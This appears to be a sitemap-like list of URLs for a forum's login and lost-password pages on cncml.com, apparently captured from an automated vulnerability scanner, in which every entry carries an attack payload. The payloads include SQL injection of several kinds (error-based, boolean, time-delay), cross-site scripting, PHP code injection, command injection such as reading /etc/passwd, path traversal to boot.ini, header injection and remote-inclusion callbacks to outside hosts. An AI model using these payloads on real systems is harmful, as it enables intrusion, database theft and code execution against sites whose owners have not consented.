http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20OR%2038=38%20AND%20('OJ'='OJ 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=34)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20('bi'='bi 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(15=15)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20('a1'='a1 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(33=33)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20('pG'='pG 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(73=41)%20THEN%20'login'%20ELSE%200x28%20END))%20AND%20('66'='66 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login';%20IF(41=39)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login';%20IF(44=44)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20(12=12 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(43=51)%20THEN%200x6C6F67696E%20ELSE%200x28%20END))%20AND%20(43=43 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login);%20IF(34=43)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login);%20IF(42=42)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,(SELECT%20(CASE%20WHEN%20(17=32)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,(SELECT%20(CASE%20WHEN%20(19=19)%20THEN%200x6C6F67696E%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,(SELECT%20(CASE%20WHEN%20(71=45)%20THEN%200x6C6F67696E%20ELSE%2071*(SELECT%2071%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,(SELECT%20(CASE%20WHEN%20(76=76)%20THEN%200x6C6F67696E%20ELSE%2076*(SELECT%2076%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,(SELECT%20(CASE%20WHEN%20(78=48)%20THEN%200x6C6F67696E%20ELSE%2078*(SELECT%2078%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,(SELECT%20(CASE%20WHEN%20(78=78)%20THEN%200x6C6F67696E%20ELSE%2078*(SELECT%2078%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login1 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=login6633x3X6 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=loginAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=loginJyI%3D 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=logina' 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=loginalert(42873) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=logine360 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=phpinfo 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=logging&viewlostpw=1&action=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=(SELECT%20(CASE%20WHEN%20(22=25)%20THEN%200x796573%20ELSE%2022*(SELECT%2022%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=dir 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=phpinfo 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=set%7Cset&set 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes 0.0014 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%00' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25%27%29%20AND%2052%3D52%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25%27%29%20AND%2071%3D15%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%2011=82%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%2098=98%20AND%20'%25'=' 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=lostpasswd&infloat=yes&lostpwsubmit=yes%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 